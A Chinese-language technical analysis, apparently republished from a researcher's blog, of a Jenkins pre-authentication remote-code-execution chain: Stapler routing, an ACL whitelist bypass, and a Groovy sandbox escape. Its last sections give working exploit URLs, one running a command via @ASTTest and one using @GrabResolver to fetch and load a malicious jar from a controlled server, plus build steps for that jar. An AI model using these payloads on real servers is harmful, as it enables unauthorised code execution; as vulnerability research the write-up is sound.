作者:Lucifaer
博客:https://www.lucifaer.com

0x01 Jenkins的動態路由解析

web.xml

可以看到Jenkins將所有的請求交給org.kohsuke.stapler.Stapler來處理的,跟進看一下這個類中的service方法:

可以看到這里會根據url來調用不同的webApp,如果url以/$stapler/bound/開頭,則根節點對象為org.kohsuke.stapler.bind.BoundObjectTable,否則為hudson.model.Hudson(繼承jenkins.model.Jenkins)。

這里涉及到四個參數:

  • req:請求對象
  • rsp:響應對象
  • root:webApp(根節點)
  • servletPath:經過路由解析后的對象

繼續向下跟:

org.kohsuke.stapler.Stapler#tryInvoke中會根據不同的webApp的類型對請求進行相應的處理,處理的優先級順序向下:

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

tryInvoke中完成對路由的分派以及將路由與相應的功能進行綁定的操作,這里面比較復雜,但是非常有意思。

我們來看一下文檔中是如何介紹路由請求這部分操作的:

文檔中詳細的說明了當我們傳入類似/foo/bar/這樣的url時路由解析的具體做法,具體看一下tryInvoke中的代碼實現:

這里首先會根據webApp(根節點)來獲取webApp的一個MetaClass對象,然后輪詢MetaClass中所有的分派器——也就是Dispatcher.dispatcher。我們這里知道webApp是hudson.model.Hudson(繼承jenkins.model.Jenkins),也就是說這里創建了MetaClass后會將請求包帶入所有的分派器中進行相應的路由處理。

那么接下來就會有兩個問題了:

  • metaClass是如何構造的?還有metaClass是個什么東西?
  • 在哪里完成的如文檔所說的遞歸進行路由解析并通過分派器進行相應處理的呢?

這個兩個問題困擾我很長的時間,在我耐心的動態調了一遍之后才明白了他的調用原理。

metaClass的構建

這里我會用動態調試的方式來解釋metaClass的構建過程以及它是一個什么東西。

這里我用根據orange文章中所給出的路由來進行跟蹤,路由為/securityRealm/user/test/。那么首先看一下metaClass的構建過程:

這里有兩個關鍵點getMetaClass以及getKlass,首先跟進getKlass看一下:

首先先判別我們傳進來的node(也就是節點)是否是屬于上面三個Facet的一個配置項,關于Facet我的理解是用于簡化項目配置項的一種操作,它并不屬于J2EE的部分,這部分我是參考https://stackoverflow.com/questions/1809918/what-is-facet-in-javaee。跟進f.getKlass,會發現直接返回null,所以我們不用關注這個循環,繼續向下看Klass.java(o.getClass())

這里動態的實例化了KlassNavigator.JAVA,這里的Klass其實是一個動態實例化的對象,這個對象中存在很多方法用于操作,同時也實例化了Klass類。可能現在還是看不出來什么和metaClass有關的東西,那不妨接著看看getMetaClass中是怎么處理這個Klass的。

跟進MetaClass

在這里首先通過之前實例化的Klass對象中的方法來獲取node節點的信息,并調用buildDispatchers()來創建分派器,這個方法是url調度的核心。

這個方法非常的長,我們來梳理一下(其實orange已經幫助我們梳理了),我是按照代碼中自上而下的順序來整理的:

  • <obj>.do<token>(...)也就是do(...)@WebMethod標注的方法
  • <obj>.doIndex(...)
  • <obj>js<token>也就是js(...)
  • @JavaScriptMethod標注的方法
  • NODE.getTOKEN()也就是get()
  • NODE.getTOKEN(StaplerRequest)也就是get(StaplerRequest)
  • <obj>.get<Token>(String)也就是get(String)
  • <obj>.get<Token>(int)也就是get(int)
  • <obj>.get<Token>(long)也就是get(long)
  • <obj>.getDynamic(<token>,...)也就是getDynamic()
  • <obj>.doDynamic(...)也就是doDynamic()

也就是說符合以上命名規則的方法都可以被調用。

buildDispatchers()的主要作用就是尋找對應的node節點與相應的處理方法(繼承家族樹中的所有類)并把這個方法加入到分配器dispatchers中。而這里所說的這個方法可能是對節點的進一步處理最后通過反射的方法調用真實處理該節點的方法。

舉一個例子,在代碼中可以看到在對get(...)類的node進行處理的時候都會動態生成一個NameBasedDispatcher對象并將其添加進入dispathers中,而這個對象都存在doDispatch()的方法用于處理分派器傳來的請求,而在處理請求的最后都會調用invoke來反射調用真實處理方法:

這里先記一下這樣的處理過程,在之后的分派器處理路由請求時會有涉及。

路由請求處理過程

仍然是以上面/securityRealm/user/test/路由為例。首先不看代碼,先根據文檔中所描述的處理方式大致猜一下這一串路由是如何解析的:

-> node: Hudson
  -> node: securityRealm
    -> node: user
      -> node: test

回到tryInvoke中我們來具體看一下在代碼中是怎么做的:

注意到這里會有一個遍歷metaClass.dispatchers的操作,然后在每次遍歷的過程中,將請求、返回以及node節點傳入Dispatcher.dispatch中,跟一下這個dispatch

這個是一個抽象類,那么他的具體實現是什么呢,還記得上一節所探討的metaClass中對get請求的處理么,它們都會動態的生成一個NameBasedDispatcher對象,而我們現在的處理過程中就會調用到這個對象中的dispatch方法,我們來看一下:

注意看紅框的部分,這里會獲取請求的node節點,并調用其具體實現中的doDispatch方法,而這個doDispatch方法是在buildDispatchers()中根據不同的node節點動態生成的,那么也就是調用了處理get(...)doDispatch

這里我們有一個疑惑,第一個節點已經ok了,那么如何遞歸的解析其他的節點呢?這一點需要跟一下req.getStapler().invoke(),先看一下getStapler()

就是當前的Stapler。這里的ff是一個org.kohsuke.stapler.Function對象,它保存了當前根節點中方法的各種信息:

ff.invoke會返回Hudson.security.HudsonPrivateSecurityRealm對象:

然后將這個HudsonPrivateSecurityRealm對象作為新的根節點再次調用tryInvoke來進行解析,一直遞歸到將url全部解析完畢,這樣才完成了動態路由解析。

0x02 Jenkins白名單路由

在跟蹤Jenkins的動態路由解析中,一直沒有提及一個過程,就是在org.kohsuke.stapler.Stapler#tryInvoke中首先對屬于StaplerProxy的node進行的一個校驗:

跟進看一下:

這里首先要進行權限檢查,首先檢查訪問請求是否具有讀的權限,如果沒有讀的權限則會拋出異常,在異常處理中會對URL進行二次檢測,如果isSubjectToMandatoryReadPermissionCheck返回false,則仍能正常的返回,那么跟進看一下這個方法:

這里有三種方法繞過權限檢查,這里著重看一下第一種,可以看到這里有一個白名單,如果請求的路徑是這其中的路徑的話,就可以繞過權限檢測:

0x03 繞過ACL進行跨物件操作

這也是orange文章中最為精華的部分,主要是有三個關鍵點:

  • Java中萬物皆繼承于java.lang.Object,所以所有在Java中的類都存在getClass()這個方法
  • Jenkins的動態路由解析過程也是一個get(...)的命名格式,所以getClass()可以在Jenkins調用鏈中被動態調用。
  • 上文中所說的白名單可以繞過ACL的檢測

重點說一下第二點,根據文檔以及我們上文的分析,如果有這么一個路由:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

那么在Jenkins的路由解析過程中會是這樣的過程:

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

當例子中的class更改成其他的類時,get(...)也會被相應的調用,也就是說可以操作任意的GETTER方法!

理解了這一點,我們只需要把調用鏈中各個物件間的關系找出來就能構成一條完整的利用鏈!這一點才是整個漏洞中最精彩的一部分。

0x04 整理漏洞利用鏈

在利用orange文章中給出的跳板url進行跟蹤的過程中,我一直試圖去理解為什么要這樣的構造,而并不是直接拿來這個url進行動態調。下面我將嘗試去解釋如何一步步發現以及一步步的構造這個跳板。

在0x02中我們已經分析了可以利用三種白名單中的路由格式來繞過權限檢查,這里我們利用securityRealm來構造利用鏈。

securityRealm中可用的利用鏈

我們看一下securityRealm對應的metaClass中有什么可以用的:

可以看到總共可用的有30個之多,而真正可以控制的利用鏈只有hudson.security.HudsonPrivateSecurityRealm.getUser(String)

如果仔細閱讀了文檔,可以很容易根據方法名來理解這個方法主要是干什么的,比如get(...)[token]這樣的,就說明他會根據路由解析策略來解析之后的參數,如果說是do(...)這樣的,證明會執行相應的方法。

那么也就說我們之后的操作需要基于getUser這個方法。根據路由解析策略,我們現在構造這樣的url來進一步動態看一下在User對應的metaClass中有什么可以利用的。

突破習慣性思維

我們這此將url更改為:

/securityRealm/user/admin

看一下metaClass中的內容,發現都是User這個類中的方法,好像沒有什么能用的東西,好像這個思路不可行了,那么這個時候能不能繼續利用路由的解析特點來調用其他的類中的方法呢?可以的。

這個時候就要說一下在每個節點加載時候存在的一個問題,這部分是我自己的猜測可能有錯誤,希望大家指正。

根據0x01中的分析,我們都知道第一個根節點為hudson.model.Hudson,而Hudson又是繼承于Jenkins的,所以他會將hudson和jenkins包下的model中所有的類全部都加載進metaClass中,從動態調試中我們也能看得出來:

那么由于我們是需要利用securityRealm來繞過權限檢測,那么這個時候下次處理的根節點為hudson.security.HudsonPrivateSecurityRealm,同樣,這里也會加載HudsonPrivateSecurityRealm這個類下的所有方法,因為這里只有getUser(String)中的String是收我們控制并且能執行的一個方法,所以我們這里就可以調用到hudson.model.User類,此時路由解析會認為下一個節點是該方法的一個參數(token),在解析下一個節點時將其節點帶入到getUser()方法中。在這里metaClass中是User這個類中的所有方法,但是在路由解析中認為下一個節點并不會是與User所相關的參數或方法。所以當我們在這里新傳入一個不在metaClass中的方法時,他首先會在構建metaClass的過程中嘗試找到這個未知的類及其繼承樹中的類,并將其加入到metaClass中。而這個添加的過程,就在webApp.getMetaClass(node)中:

所以我可以構造這么樣一個url來調用hudson.search.Search#doIndex來進行查詢:

http://localhost:8080/jenkins_war_war/securityRealm/user/admin/search/index?q=a

同樣我也可以嘗試調用hudson.model.Api#doJson

http://localhost:8080/jenkins_war_war/securityRealm/user/admin/api/json

這么順著想當然沒有問題,但是我在分析的時候又有一個想法,如果說我不加user/admin也就是說不調用User能不能直接加載api/json來查看信息呢?

不行,為什么呢?同樣的問題也出現在調用search/index中。

理解metaClass的加載機制

這個問題其實是一個比較鉆牛角尖的問題,以及對metaClass加載方式不完全了解的問題。我們來看一下User的繼承樹關系圖:

User類是直接繼承于AbstractModelObject這個抽象類的,而AbstractModelObjectSearchableModelObject這個接口的實現,這是一條完整的繼承樹關系。我們來首先看一下SearchableModelObject這個接口:

在接口這里聲明了一個getSearch()方法,也就是說當節點為User類時,在metaClass尋找的過程中是可以通過繼承樹關系來找到getSearch()方法的,接下來看一下具體的實現:

這里會返回一個Search對象,然后這個對象中的所有方法都會被添加進入metaClass中,并通過buildDispatchers()來完成分派器的生成,然后就是正常的路由解析過程。

而在HudsonPrivateSecurityRealm的繼承樹關系中是沒有這一層關系的:

所以search/index是沒辦法被找到的。

思考

現在我們理清楚了未什么跳板url需要這樣構造,說實話,調用到User這個類其實就是完成了一個作用域的調轉,從原來的限制比較死的作用域跳轉到一個更加廣闊的作用域中了。

那么現在問題來了,rce的利用鏈到底在哪里?

我們重新看看在User節點中還有什么是可以利用的:

這里好像可以調用ModelObject中的東西,那么先來分析一下DescriptorByNameOwner這個接口:

可以看到就是通過id來獲取相應的Descriptor,也就是說接下來去尋找可用的Descriptor就行了。這里下個斷點就能看到582個可調用的Descriptor了。

0x05 Groovy沙盒繞過最終導致的rce

Jenkins 2019-01-08的安全通告中包含了Groovy沙箱繞過的問題:

其實最后可利用的點并非這么幾條路,但是其原理都是差不多的,這里用Script Security這個插件作為例子來分析。

org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl中我們首先可以看到這個DescriptorImpl是繼承于Descriptor的,也就是說我們上面的調用鏈可以訪問到該方法;同時在這個方法中存在一個doCheckScript的方法,根據前面的分析,我們知道這個方法也是可以被我們利用的,并且這個方法的value是我們可控的,在這里完成的對value這個Groovy表達式的解析。

這里只是解析了Grovvy表達式,那么它是否執行了呢?這里我們先不討論是否執行了,我們來試一試公告中的沙箱繞過方式是怎么做的。

方法一:@ASTTest中執行assertions

首先在本地試一下@ASTTest中是否能執行斷言,執行的斷言是否能執行代碼:

然后試一下這個poc:

http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d

成功執行代碼。

這里的執行命令的方式可以換成groovy形式的執行方法:

http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7b+%22open+%2fApplications%2fCalculator.app%22.execute().text+%7d)%0a
class+Person%7b%7d

方法二:@Grab引入外部的危險類

Grape是groovy內置的依賴管理引擎,具體的說明在官方文檔中,可以仔細閱讀。

在閱讀Grape文檔時,關于引入其他存儲庫這部分的操作是非常令人感興趣的:

如果這里的root是可以指向我們控制的服務器,引入我們已經構造好的惡意的文件呢?有點像JNDI注入了吧。

本地寫個demo試一下:

那么按照這個模式來構造,這里參考Orange第二篇文章或這篇利用文章,我的執行流程如下:

javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/

然后構造如下的請求:

http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;

0x06 總結

Orange這個洞真的是非常精彩,從動態路由入手,再到Pipeline這里groovy表達式解析,真的是一環扣一環,在這里我用正向跟進的方法將整個漏洞梳理了一遍,梳理前是非常迷惑的,梳理后恍然大悟,越品越覺得精彩。Orange Tql。

T T

0x07 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/836/